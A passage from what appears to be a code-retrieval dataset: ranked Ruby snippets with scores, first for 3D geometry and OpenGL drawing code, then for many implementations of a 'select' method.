"text": "def draw_geometry(pt1, pt2, view)\n # Set local variables to actual width and depth of wood cross-section\n\tw = @@act_size[0] # Width of wood\n\td = @@act_size[1] # Depth of wood\n\n\t# Orient the rectangle for wood cross section according to (initially only orthogonal) plane of\n # pt1 - pt2, which are first pick point, and current mouse (inferred) position, respectively\n \n\t# Set axis labels (red, green, blue) to match index of 3D points\n\tr = 0; g = 1; b = 2\n\n\t# Plane is defined by the direction of its normal\n\t# Calculate orientation of vec\n\trdir = 1.0 # direction positive\n\tgdir = 1.0\n\tbdir = 1.0\n\t\n\tvec = pt2 - pt1 \n\trdir = -1.0 if vec[r]<0 # direction negative\n\tgdir = -1.0 if vec[g]<0\n\tbdir = -1.0 if vec[b]<0\n\t# Set up different orientations of cross-section\n\tgb = Geom::Point3d.new; rb = Geom::Point3d.new ; rg = Geom::Point3d.new\n gb2 = Geom::Point3d.new; rb2 = Geom::Point3d.new ; rg2 = Geom::Point3d.new\n # gb plane\n\tgb = [[0,0,0],[0, w*gdir, 0], [0, w*gdir, d*bdir], [0, 0, d*bdir],[0,0,0]]\n # Reverse width and depth\n gb2 = [[0,0,0],[0, d*gdir, 0], [0, d*gdir, w*bdir], [0, 0, w*bdir],[0,0,0]]\n # rb plane\n\trb = [[0,0,0],[w*rdir, 0, 0], [w*rdir, 0, d*bdir], [0, 0, d*bdir],[0,0,0]]\n # Reverse width and depth\n rb2 = [[0,0,0],[d*rdir, 0, 0], [d*rdir, 0, w*bdir], [0, 0, w*bdir],[0,0,0]]\n # rg plane\n\trg = [[0,0,0],[w*rdir, 0, 0], [w*rdir, d*gdir, 0], [0, d*gdir, 0],[0,0,0]]\n # Reverse width and depth\n rg2 = [[0,0,0],[d*rdir, 0, 0], [d*rdir, w*gdir, 0], [0, w*gdir, 0],[0,0,0]]\n\t# Put cross_section into an array of different orientations\n\tcross_sect = [gb, gb2, rb,rb2, rg]\n# puts \"cross-sections = \" + cross_sect.inspect.to_s\n \t@lAxis = Geom::Vector3d.new #Direction of long axis of wood (normal to plane of cross-section)\n\tif @@axis_lock == X_AXIS \n\t\t@plane = 'gb'\n\t\ttext = \"\\ngb plane\"\n\t\tn = 0 #normal is in r direction\n\tif vec[b].abs > vec[g].abs # then swap width and depth dimensions\n n = 1\n\t# cross_sect[1] = [[0,0,0],[0, d*gdir, 0], [0, d*gdir, w*bdir], [0, 0, w*bdir],[0,0,0]]\n\tend\n\telsif @@axis_lock == Y_AXIS\n\t\t@plane = 'rb'\n\t text = \"\\nrb plane\"\n\t n = 2 #normal is in g direction\n\tif vec[b].abs > vec[r].abs # then rotate wood cross section\n n = 3\n\t# cross_sect[3] = [[0,0,0],[d*rdir, 0, 0], [d*rdir, 0, w*bdir], [0, 0, w*bdir],[0,0,0]]\n\tend\n\telsif @@axis_lock == Z_AXIS\n\t\t@plane = 'rg'\n\t text = \"\\nrg plane\"\n\tn = 4 #normal is in b direction\n\t#puts \"b-value = \" + vec[b].to_s + \" g-value = \" + vec[g].to_s\n\tif vec[g].abs > vec[r].abs # then rotate wood cross section\n n = 5\n\t# cross_sect[5] = [[0,0,0],[d*rdir, 0, 0], [d*rdir, w*gdir, 0], [0, w*gdir, 0],[0,0,0] ]\n\tend\n\telse\n\t\t@plane = 'no'\n\t text = \"\\nnon-orthogonal plane\"\n\tend\n\t###puts \"Text set to \" + text\n\tview.draw_text view. screen_coords(pt2), @cursor_text # Give feedback at cursor\n\tif @plane != \"no\" #for orthogonal cases only \n\t\tview.line_width = 2; view.line_stipple = \"\"\n\t\t@lAxis[(n/2).to_int] = d*2.0 # Set long axis direction normal to @plane\n\t\[email protected]!(@tf)\n\t\tview.set_color_from_line(pt1 - @lAxis, pt1 + @lAxis)\n\t\tview.draw_line(pt1 - @lAxis, pt1 + @lAxis) # to show direction of long axis of wood\n\t\t@pts = []; @pts0 = []\n\t\t#@pts = [cross_sect[n][0], cross_sect[n][1], cross_sect[n][2], cross_sect[n][3], cross_sect[n][4]]\n\t\tcross_sect[n].each_index {|i| @pts0[i] = cross_sect[n][i]}\n\n\t\t# Relocate drawn cross section to pick point location\n\t\t# Transform @tf moves to origin of component (if any) that initial click was on\n\t\t# Have to move and rotate drawn component from World origin first to component origin, \n\t\t# then add translation to pick point\n\t\t\n\t\t# Vector from component or world origin \n\t\tip = @tf.origin # Component or World origin\n\t\tvec = ip.vector_to(pt1) # Vector from there to pick point\n\t\t@tf2 = translate(@tf,vec) # Uses Martin Rinehart's translate function included below\n\t\[email protected]_index {|i| @pts[i] = @pts0[i].transform(@tf2)}\n\t\t#puts \"@pts0[] = \\n\" + @pts0.to_a.inspect\n\t\tview.drawing_color = \"magenta\" \n\t\tview.draw_polyline(@pts)\n\t\t#@pts.each {|pt| pt.transform!(@tf) } # Transform points into axes of component clicked (?)\n\t\t#puts \"@pts.transformed![] = \\n\" + @pts.to_a.inspect\n\tend #if \n\n\tend",
"title": ""
},
{
"docid": "15ea3006f04ff08591e54ede6d2af94f",
"score": "0.5138379",
"text": "def translate_to!(*args)\n point = args[0]\n point = Vertex3d.new(*args) if args.length == 3\n self.position = point\n matrix.translate_to! position\n self\n end",
"title": ""
},
{
"docid": "bfa07355566aece41bec7f073cf6abbe",
"score": "0.5128655",
"text": "def set_projection\n @projection = Projection.find(params[:id])\n end",
"title": ""
},
{
"docid": "bfa07355566aece41bec7f073cf6abbe",
"score": "0.5128655",
"text": "def set_projection\n @projection = Projection.find(params[:id])\n end",
"title": ""
},
{
"docid": "87007a20c737525c16042037ec570a75",
"score": "0.51255393",
"text": "def main\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create map scene\n $scene = Scene_Map.new\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "87007a20c737525c16042037ec570a75",
"score": "0.51255393",
"text": "def main\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create map scene\n $scene = Scene_Map.new\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "1a615d33c0cc9397d01d47f2c4fe9b93",
"score": "0.5123356",
"text": "def projection=(_arg0); end",
"title": ""
},
{
"docid": "95efc4cb254f0b3c444034a940c42ee6",
"score": "0.5120135",
"text": "def create_viewports\n super\n @viewport1.z = 0 + (100 * @map.order)\n @viewport2.z = 50 + (100 * @map.order)\n @viewport3.z = 100 + (100 * @map.order)\n end",
"title": ""
},
{
"docid": "868f253ed321a0b26171bfead8bb7d7e",
"score": "0.51081264",
"text": "def look!\n #gluLookAt(position.x, position.y, position.z, view.x+position.x, view.y+position.y, view.z+position.z, up.x, up.y, up.z)\n glLoadMatrixf(matrix)\n frustum.update!\n self\n end",
"title": ""
},
{
"docid": "a0e196a0bfc16efd0e447dcfe561fc3a",
"score": "0.51075435",
"text": "def setup \n size 640, 360, P3D \n @rotx = PI/4\n @roty = PI/4 \n @tex = load_image \"berlin-1.jpg\"\n texture_mode NORMAL # Changed for processing 2.0\n fill 255\n stroke 44, 48, 32 \nend",
"title": ""
},
{
"docid": "14cadb1ee3cec57c8b94a8979ad9844c",
"score": "0.5107333",
"text": "def update_native_coords(e, input)\n e.camera.native_x = e.pos.x * e.camera.zoom\n e.camera.native_y = e.pos.y * e.camera.zoom\n e.camera.native_w = input.window.width\n e.camera.native_h = input.window.height\n e.camera.world_w = e.camera.native_w / e.camera.zoom\n e.camera.world_h = e.camera.native_h / e.camera.zoom\n end",
"title": ""
},
{
"docid": "becb2c998c4c79519a12c1a37ab4659a",
"score": "0.510611",
"text": "def ourinit\n\t$object1 = read3ds(\"./testdata/Cube.3ds\")\n\tglutInit()\n\tglutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_ALPHA | GLUT_DEPTH)\n\tglutInitWindowSize($window_width, $window_height)\n\tglutInitWindowPosition(0, 0)\n\t$window = glutCreateWindow(\"OpenGL using ruby v0.1 - (c) Danny Arends 2009\")\n\tglutDisplayFunc(method(:draw_gl_scene).to_proc)\n\tglutReshapeFunc(method(:reshape).to_proc)\n\tglutIdleFunc(method(:idle).to_proc)\n\tglutKeyboardFunc(method(:checkkeydown).to_proc)\n\tinit_gl_window($window_width, $window_height)\nend",
"title": ""
},
{
"docid": "7d613528e3720545ed931d3a6597fd86",
"score": "0.50905275",
"text": "def update_location\n self.x = screen_x unless self.disposed?\n self.y = screen_y unless self.disposed?\n self.z = screen_z unless self.disposed?\n end",
"title": ""
},
{
"docid": "1a93834b6f66e3be11ca67076e12d80d",
"score": "0.50805664",
"text": "def redraw\n angle = Camera.angle * (Math::PI / 180)\n half_width = Window.width * 0.5\n half_height = Window.height * 0.5\n if center\n offset_y = y + (Camera.zoom / 2)\n offset_x = x + (Camera.zoom / 2)\n else\n offset_x = x + (width / Camera.zoom / 2)\n offset_y = y + (height / Camera.zoom / 2)\n end\n @x = (((offset_x - Camera.x) * Math.cos(angle)) - ((offset_y - Camera.y) * Math.sin(angle))) \\\n * Camera.zoom + half_width - (width / 2)\n @y = (((offset_x - Camera.x) * Math.sin(angle)) + ((offset_y - Camera.y) * Math.cos(angle))) \\\n * Camera.zoom + half_height - (height / 2)\n @rotate = rotate + Camera.angle\n @size = size * Camera.zoom\n end",
"title": ""
},
{
"docid": "d85899fe37a2b8b5b9509701c2d9e843",
"score": "0.5071732",
"text": "def projections; end",
"title": ""
},
{
"docid": "9ce9998808706b959d2f6cbd304e2ffa",
"score": "0.50638556",
"text": "def create_viewport\n @viewport = Viewport.new(0, 0, 1280, 720)\n @viewport.z = 0\n end",
"title": ""
},
{
"docid": "e12a4c61460c57d82c504e32597434f2",
"score": "0.5061103",
"text": "def orbit\n @x += @v[0]\n @y += @v[1]\n @z += @v[2]\n end",
"title": ""
},
{
"docid": "c3af7f5fd179db1caee2ddd265dd6c96",
"score": "0.50530636",
"text": "def gl_draw\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glpushmatrix\n glPushMatrix # for the most part operations should keep to themselfs with location configuration.\n #---------------------------------------------------------\n # Moving function from the current point by current Camera gluPerspective x,y,z\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/gltranslatef\n glTranslatef(@x, @y, @z)\n #---------------------------------------------------------\n # https://www.rubydoc.info/github/gosu/gosu/master/Gosu/GLTexInfo\n glBindTexture(GL_TEXTURE_2D, @tex_info.tex_name)\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glscalef\n glScalef(@scale, @scale, @scale)\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glrotatef\n # glRotatef(angle, X axis scale, Y axis scale, Z axis scale)\n glRotatef(@angle.first, @angle[1], @angle[2], @angle[3])\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glbegin\n glBegin(GL_QUADS)\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glnormal3f\n glNormal3f(0.0, 1.0, 0.0)\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glvertex3f\n glTexCoord2d(@tex_info.left, @tex_info.top); glVertex3f(-0.5, 0.5, 0.0)\n glTexCoord2d(@tex_info.left, @tex_info.bottom); glVertex3f(-0.5, -0.5, 0.0)\n glTexCoord2d(@tex_info.right, @tex_info.bottom); glVertex3f(0.5, -0.5, 0.0)\n glTexCoord2d(@tex_info.right, @tex_info.top); glVertex3f(0.5, 0.5, 0.0)\n glEnd\n #---------------------------------------------------------\n # https://docs.microsoft.com/en-us/windows/desktop/opengl/glpopmatrix\n glPopMatrix\n end",
"title": ""
},
{
"docid": "fbcc61a24e960b7e8c1db2a837152705",
"score": "0.50370955",
"text": "def wrap_to_screen\n self.position = CP::Vec2.new(self.position.x % WIDTH, self.position.y % HEIGHT)\n end",
"title": ""
},
{
"docid": "16248e9ebcdef4b21e211cd22e2cda59",
"score": "0.5026784",
"text": "def projections=(_arg0); end",
"title": ""
},
{
"docid": "390202ae8d2d354f599cca589d50d131",
"score": "0.5009255",
"text": "def set_player_projection\n @player_projection = PlayerProjection.find(params[:id])\n end",
"title": ""
},
{
"docid": "34320ab0cce394c66da184837566d069",
"score": "0.5001629",
"text": "def accFrustum(left, right, bottom, top, nnear, ffar, pixdx, pixdy, eyedx, eyedy, focus)\r\n\r\n viewport = GL::GetDoublev(GL::VIEWPORT);\r\n\t\r\n xwsize = right - left;\r\n ywsize = top - bottom;\r\n\t\r\n dx = -(pixdx*xwsize/viewport[2] + eyedx*nnear/focus);\r\n dy = -(pixdy*ywsize/viewport[3] + eyedy*nnear/focus);\r\n\t\r\n GL::MatrixMode(GL::PROJECTION);\r\n GL::LoadIdentity();\r\n GL::Frustum(left + dx, right + dx, bottom + dy, top + dy, nnear, ffar);\r\n GL::MatrixMode(GL::MODELVIEW);\r\n GL::LoadIdentity();\r\n GL::Translate(-eyedx, -eyedy, 0.0);\r\nend",
"title": ""
},
{
"docid": "ee0e1790db4a8f1ad06ae0ce4579db15",
"score": "0.49974874",
"text": "def reshape(width, height)\n glViewport(0, 0, config.width, config.height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity\n gluPerspective(45, config.width / config.height, 0.1, 1000) #aspect ratio\n glMatrixMode(GL_MODELVIEW)\n end",
"title": ""
},
{
"docid": "b3097386f51c6479031733b02bacd84b",
"score": "0.4990841",
"text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n model.getShadingSurfaceGroups.each do |group|\n\n x_shift = group.xOrigin\n y_shift = group.yOrigin\n z_shift = group.zOrigin\n relative_north = group.directionofRelativeNorth\n point_shift = OpenStudio::Vector3d.new(x_shift,y_shift,z_shift)\n group.resetDirectionofRelativeNorth\n group.resetXOrigin\n group.resetYOrigin\n group.resetZOrigin\n \n shading_surfaces = group.shadingSurfaces\n shading_surfaces.each do |surface|\n points = surface.vertices\n new_vertices = []\n points.each do |point|\n point = rotatePoint3D(point,-relative_north)\n point += point_shift\n new_vertices << point\n end\n surface.setVertices(new_vertices)\n end\n end\n \n end",
"title": ""
},
{
"docid": "6dcbcff90799f87c6e2dd8fd52e877fe",
"score": "0.49820742",
"text": "def projection(document = nil)\n validate_doc!(document) if document\n configure(:projection, document)\n end",
"title": ""
},
{
"docid": "4ace5eb03ac7e99add7978f07a150ac8",
"score": "0.49805674",
"text": "def screen_to_plane\n corners = plane_corners\n origin = corners[0]\n xaxis = corners[1] - corners[0]\n yaxis = corners[2] - corners[0]\n zaxis = (xaxis * yaxis).normalize\n\n # REVIEW: Is this logical pixels or physical pixels? I want logical!\n xaxis.length /= Sketchup.active_model.active_view.vpwidth\n yaxis.length /= Sketchup.active_model.active_view.vpheight\n\n new_transformation(origin, xaxis, yaxis, zaxis)\n end",
"title": ""
},
{
"docid": "7f567ae8763913fdd8eaa40da299c7e9",
"score": "0.49759042",
"text": "def layer!\n surface = @surface\n t, r, b, l = @top_margin, @right_margin, @bottom_margin, @left_margin\n dimensions @canvas_width, @canvas_height\n margin t, r, b, l\n surface\n end",
"title": ""
},
{
"docid": "4b399b84e66bbe4de9883ef16521ccb9",
"score": "0.49646577",
"text": "def look_at(*args)\n x, y, z = if args.length == 1 then args[0].to_a else args end\n\n new_view = Vector3d.new(x,y,z) - position\n self.view = new_view\n matrix.look_at! position, view, up\n self\n end",
"title": ""
},
{
"docid": "8b659ccd99cc1988ff782ac22ea27714",
"score": "0.49642864",
"text": "def create_projection(name, wkt_projection_class, parameters)\n Projection.create(name, wkt_projection_class, parameters)\n end",
"title": ""
},
{
"docid": "c294e28295e4d2d4b25d84d51ccbd8ff",
"score": "0.49635193",
"text": "def setup\n @verts = [\n -1.0,-1.0, 1.0, 1.0,-1.0, 1.0, 1.0, 1.0, 1.0, # FRONT\n 1.0, 1.0, 1.0, -1.0, 1.0, 1.0, -1.0,-1.0, 1.0,\n\n 1.0, 1.0,-1.0, 1.0,-1.0,-1.0, -1.0,-1.0,-1.0, # BACK\n -1.0,-1.0,-1.0, -1.0, 1.0,-1.0, 1.0, 1.0,-1.0,\n\n 1.0,-1.0,-1.0, 1.0, 1.0,-1.0, 1.0, 1.0, 1.0, # RIGHT\n 1.0, 1.0, 1.0, 1.0,-1.0, 1.0, 1.0,-1.0,-1.0,\n\n -1.0,-1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0,-1.0, # LEFT\n -1.0, 1.0,-1.0, -1.0,-1.0,-1.0, -1.0,-1.0, 1.0,\n\n 1.0, 1.0, 1.0, 1.0, 1.0,-1.0, -1.0, 1.0,-1.0, # TOP\n -1.0, 1.0,-1.0, -1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n\n -1.0,-1.0,-1.0, 1.0,-1.0,-1.0, 1.0,-1.0, 1.0, # BOTTOM\n 1.0,-1.0, 1.0, -1.0,-1.0, 1.0, -1.0,-1.0,-1.0,\n\n ].pack(\"f*\")\n\n @normals = [\n 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, # FRONT\n 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0,\n\n 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, # BACK\n 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0,\n\n 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, # RIGHT\n 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0,\n\n -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, # LEFT\n -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0,\n\n 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, # TOP\n 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0,\n\n 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, # BOTTOM\n 0.0,-1.0, 0.0, 0.0,-1.0, 0.0, 0.0,-1.0, 0.0,\n\n ]\n\n @numOfVerts = 36\n @colors = Utils.generateColors(@numOfVerts*3)\n end",
"title": ""
},
{
"docid": "a0e85be50ee3400273fe6007aef30f23",
"score": "0.4952214",
"text": "def do_fov(creature)\n creature.fov = []\n light creature, creature.x, creature.y\n 8.times do |oct|\n cast_light creature, 1, 1.0, 0.0,\n @@mult[0][oct],@@mult[1][oct],\n @@mult[2][oct], @@mult[3][oct], 0\n end\n end",
"title": ""
},
{
"docid": "7be0e939c4a70da911e03bf2774c4394",
"score": "0.49361524",
"text": "def update_viewport_zoom\n if MGC::PARALLAX_ZOOM\n unless viewport.nil? || !viewport.contains_zoomable_map\n @phase_viewport_zoom = true\n self.zoom_x = viewport.zoom\n self.zoom_y = viewport.zoom\n self.ox = - ((Graphics.width >> 1) +\n (ox - (Graphics.width >> 1)) * viewport.zoom).to_i\n self.oy = - ((Graphics.height >> 1) +\n (oy - (Graphics.height >> 1)) * viewport.zoom).to_i\n @phase_viewport_zoom = false\n end\n end\n end",
"title": ""
},
{
"docid": "8bdbe7ec67be8a7f7022f45249b7f2ff",
"score": "0.49343246",
"text": "def MakeSphere(positionR, radius, ra, dec)\r\n pointNum = 100\r\n i = 0\r\n while i < pointNum do\r\n j = 0\r\n while j < pointNum do\r\n l_theta = cycle * i.to_f / pointNum.to_f\r\n l_phi = cycle * j.to_f / pointNum.to_f\r\n\r\n # Central coordinate\r\n x = positionR * Math.cos(ra) *Math.cos(dec)\r\n y = positionR * Math.sin(ra) * Math.cos(dec)\r\n z = positionR * Math.sin(dec)\r\n\r\n # Each point\r\n x = x + radius * Math.cos(l_phi) * Math.sin(l_theta)\r\n y = y + radius * Math.sin(l_phi) * Math.sin(l_theta)\r\n z = z + radius * Math.cos(l_theta)\r\n\r\n # To rotate the coordinate\r\n zz =- x # Go well and for some reason put minus.\r\n xx = y\r\n yy = z\r\n\r\n # plot\r\n GL.Vertex3d(xx, yy, zz)\r\n j = j + 1\r\n end\r\n i = i + 1\r\n end\r\nend",
"title": ""
},
{
"docid": "d8c068bad7146cce3ae8d38e9f14ac0d",
"score": "0.49264416",
"text": "def -@; Vector3D.new(-x, -y, -z) end",
"title": ""
},
{
"docid": "ca2929a03d0e981c10b56755f41ab733",
"score": "0.4926232",
"text": "def point=(point3d)\n end",
"title": ""
}
] |
8df3a38d09d9db71436751cd75f4f63e
|
Explicitly because it conflicts with select method
|
[
{
"docid": "04c13b5dbf463297f54063512a2d3570",
"score": "0.0",
"text": "def select *args\n SingletonBrowser.instance.browser.send :select, *args\n end",
"title": ""
}
] |
[
{
"docid": "435ec51293e0f5fc7b9e081e4382879f",
"score": "0.83003205",
"text": "def select; end",
"title": ""
},
{
"docid": "2922ea024319263819ee712b7757afef",
"score": "0.7689676",
"text": "def select(*args) end",
"title": ""
},
{
"docid": "f922c478ae2a66f482dc725b21da0ae4",
"score": "0.7689012",
"text": "def select &block\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "eca5b97c710f416dfd5ff50e00f53acd",
"score": "0.7472796",
"text": "def select=(_arg0); end",
"title": ""
},
{
"docid": "04c3d447503b1b0cf10889161bcd94b2",
"score": "0.7457121",
"text": "def select(*_arg0); end",
"title": ""
},
{
"docid": "1bdf1b3f0dbe47b0ee0cff856ec221bd",
"score": "0.7415245",
"text": "def select(*args, &block)\n method_missing(:select, *args, &block)\n end",
"title": ""
},
{
"docid": "9484ddad7bf4b5fbb62ee530ce67b7c2",
"score": "0.73527324",
"text": "def select!#(&block)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "beddfb6049942abc978c303339031460",
"score": "0.73159456",
"text": "def select(&block); end",
"title": ""
},
{
"docid": "dfe76e6e03957d6385307e3ea5e30e02",
"score": "0.73083234",
"text": "def select test = nil, &block\n dup.select! test, &block\n end",
"title": ""
},
{
"docid": "c9bd49ec2293b4fde5640361858ba06e",
"score": "0.72894245",
"text": "def select!(&block); end",
"title": ""
},
{
"docid": "af346c64c7cde0db202637bbd1ed8942",
"score": "0.72495174",
"text": "def select\n execute_only(:select)\n end",
"title": ""
},
{
"docid": "a9d15ffc88c568447e8cd69e958cb565",
"score": "0.7179873",
"text": "def select(&block)\n to_a.select(&block)\n end",
"title": ""
},
{
"docid": "00251ed9bcfc0827ede4e9bd76ac9353",
"score": "0.70790374",
"text": "def select(&block)\n return wrap(@inner.select &block) if block_given?\n wrap(@inner.select)\n end",
"title": ""
},
{
"docid": "a7968b9e66a6ec02e8a9667c4168982f",
"score": "0.70394725",
"text": "def select_by(how, what); end",
"title": ""
},
{
"docid": "d46118e9481da651435844d171866974",
"score": "0.6922887",
"text": "def select\n return @select\n end",
"title": ""
},
{
"docid": "9e3b02f87da87639c4e67c120a6c69bf",
"score": "0.6851615",
"text": "def select(*args); dataset.select(*args); end",
"title": ""
},
{
"docid": "1387f6901c990def45f624105bfb4fd3",
"score": "0.6811218",
"text": "def my_select(&prc)\n ret = []\n self.each{|ele|ret << ele if prc.call(ele)}\n ret\n end",
"title": ""
},
{
"docid": "44e0351607f9c2550e9011f820587ea0",
"score": "0.675853",
"text": "def select\n return @select\n end",
"title": ""
},
{
"docid": "cdc1e36bd66cdb95cb192b956d435d2c",
"score": "0.6723157",
"text": "def do_select(query)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "ee65e44811cd176de1b12d2c39f8f442",
"score": "0.670089",
"text": "def lazy_select_elements(&block); end",
"title": ""
},
{
"docid": "d4cb4c49a6b01437af631867960922ab",
"score": "0.6685113",
"text": "def my_select\n end",
"title": ""
},
{
"docid": "be8117d321c65d3109f225618a0c8fdd",
"score": "0.6665382",
"text": "def select(&block)\n @rows.select(&block)\n end",
"title": ""
},
{
"docid": "718aa9e0f5d25bc6558c95df79f282b3",
"score": "0.6662125",
"text": "def select(&block)\n wrap @array.select(&block)\n end",
"title": ""
},
{
"docid": "ed2d6846c51ad34589fc62d22e983f84",
"score": "0.66406304",
"text": "def my_select(arr, &blk)\n\nend",
"title": ""
},
{
"docid": "e2eddd96be8930563ed49e1fbd5be31c",
"score": "0.6627438",
"text": "def select\n `#{self}.__element__.select()`\n self\n end",
"title": ""
},
{
"docid": "ba885ff713fa31b0a9cfbc96f18158f8",
"score": "0.6607317",
"text": "def select(*args)\n call_query_method(:select, *args)\n end",
"title": ""
},
{
"docid": "5c10eb407a728c4970b2e301af3541d2",
"score": "0.6559804",
"text": "def select_next; end",
"title": ""
},
{
"docid": "5c10eb407a728c4970b2e301af3541d2",
"score": "0.6559804",
"text": "def select_next; end",
"title": ""
},
{
"docid": "4f74ffa703eb60be7a95adbba63f0061",
"score": "0.6558597",
"text": "def select_one(arel, name = T.unsafe(nil), binds = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "c76b0894816d4a663830dff264167ac2",
"score": "0.6553436",
"text": "def my_select(&prc)\n final = []\n i = 0\n while i < self.length\n if prc.call(self[i])\n final << self[i]\n end\n i+=1\n end\n final\n end",
"title": ""
},
{
"docid": "1af659f1e2bfaf54076878d3d9637c3b",
"score": "0.65481687",
"text": "def my_select(&prc)\n res = []\n self.my_each do |num| \n res << num if prc.call(num)\n end\n res\n end",
"title": ""
},
{
"docid": "28e6e65a49098345d1e3dedd5b7cdbe9",
"score": "0.65480155",
"text": "def method_missing sel, *args, &blk\n _select.send(sel, *args, &blk)\n end",
"title": ""
},
{
"docid": "c564c32c4bff592b7d8024b2e387ea61",
"score": "0.65446293",
"text": "def disjunct_select()\nend",
"title": ""
},
{
"docid": "4f31990aea5925cfa21bf9f381b01331",
"score": "0.6532811",
"text": "def select(&block) # :yields: obj\n return self unless block_given?\n\n DeferredEnumerator::Select.new(self, block)\n end",
"title": ""
},
{
"docid": "95190546aabb9a7bee5585d0d7d359c8",
"score": "0.65239173",
"text": "def my_select\n select = []\n self.my_each do |e|\n select.push(e) if yield(e)\n end\n select\n end",
"title": ""
},
{
"docid": "a46bf32060bbb23e15e368ce8bdd5864",
"score": "0.65067816",
"text": "def select(*args, &block)\n return to_enum(:select) unless block_given?\n dup.tap { |hash| hash.select!(*args, &block) }\n end",
"title": ""
},
{
"docid": "0acf081e34c3f4a0b37944a91718ed76",
"score": "0.65025634",
"text": "def my_select(&prc)\n result = []\n new_proc = Proc.new { |el| result << el if prc.call(el)}\n self.my_each(&new_proc)\n result\n end",
"title": ""
},
{
"docid": "72e90965237f826102ecd60c9c1ff312",
"score": "0.64881265",
"text": "def my_select(&prc)\n result = []\n self.my_each do |el|\n result << el if prc.call(el)\n end\n result\n end",
"title": ""
},
{
"docid": "f394a8343932f62b25e0d6e5e03ab324",
"score": "0.64867127",
"text": "def my_select(&prc)\n selected = []\n self.my_each do |element|\n selected << element if prc.call(element)\n end\n # self.length.times do |idx|\n # if prc.call(self[idx])\n # selected << self[idx]\n # end\n # end\n selected\n end",
"title": ""
},
{
"docid": "f0cda69e6c807ab6522e6951bd63358a",
"score": "0.6479764",
"text": "def select(&block)\n select_with_index {|x, _| block.call x }\n end",
"title": ""
},
{
"docid": "2391b6824a2ca93b535320ee70f6949a",
"score": "0.6470615",
"text": "def my_select(&prc)\n arr = []\n self.my_each do |select|\n arr << select if prc.call(select)\n end\n arr\n end",
"title": ""
},
{
"docid": "6d25bc5088dc1307fc458b8d5044490f",
"score": "0.6461834",
"text": "def select_ &block\n check_pre(block_given?)\n self.reduce(Array.new) {|a,b| if yield b then a << b else a end}\n end",
"title": ""
},
{
"docid": "9dc97bac5dd0267f5944c79895ca33fb",
"score": "0.6442264",
"text": "def select(*fields)\n fields = fields.first if fields.size == 1\n dup_merge(:select => fields)\n end",
"title": ""
},
{
"docid": "d050ed960c84e15a2e789cffaf83d69f",
"score": "0.64372426",
"text": "def select(*args)\n if args.length==1\n arg = args[0]\n case arg\n when Integer, Range\n return select_by_index(arg)\n when Symbol\n return select_by_key(arg)\n when Module\n return select_by_type(arg)\n when Array\n return select_by_union(arg)\n else\n raise ArgumentError, \"Unexpected selection matcher: #{arg.inspect}\"\n end\n else\n select_by_union(args)\n end\n end",
"title": ""
},
{
"docid": "da552f2c7e27b047c1ef3daf490b6b1f",
"score": "0.64171374",
"text": "def my_select(&prc)\n result = []\n self.my_each do |ele|\n result << ele if prc.call(ele)\n end\n result\n end",
"title": ""
},
{
"docid": "17231d47559e0ab5d198ef3b3b371166",
"score": "0.6404111",
"text": "def refute_select(*args, &optional_filter_block); end",
"title": ""
},
{
"docid": "31d7263b1a3cacc2424a9f86ba81eff7",
"score": "0.6396349",
"text": "def my_select(&prc)\n selected = []\n self.my_each do |ele|\n if prc.call(ele)\n selected << ele\n end\n end\n selected\n end",
"title": ""
},
{
"docid": "65f29492494682e87ca76cf5e0ab986b",
"score": "0.6395205",
"text": "def select_values(arel, name = T.unsafe(nil), binds = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "a7780b77b45510b7c08730b45c4994bc",
"score": "0.6388129",
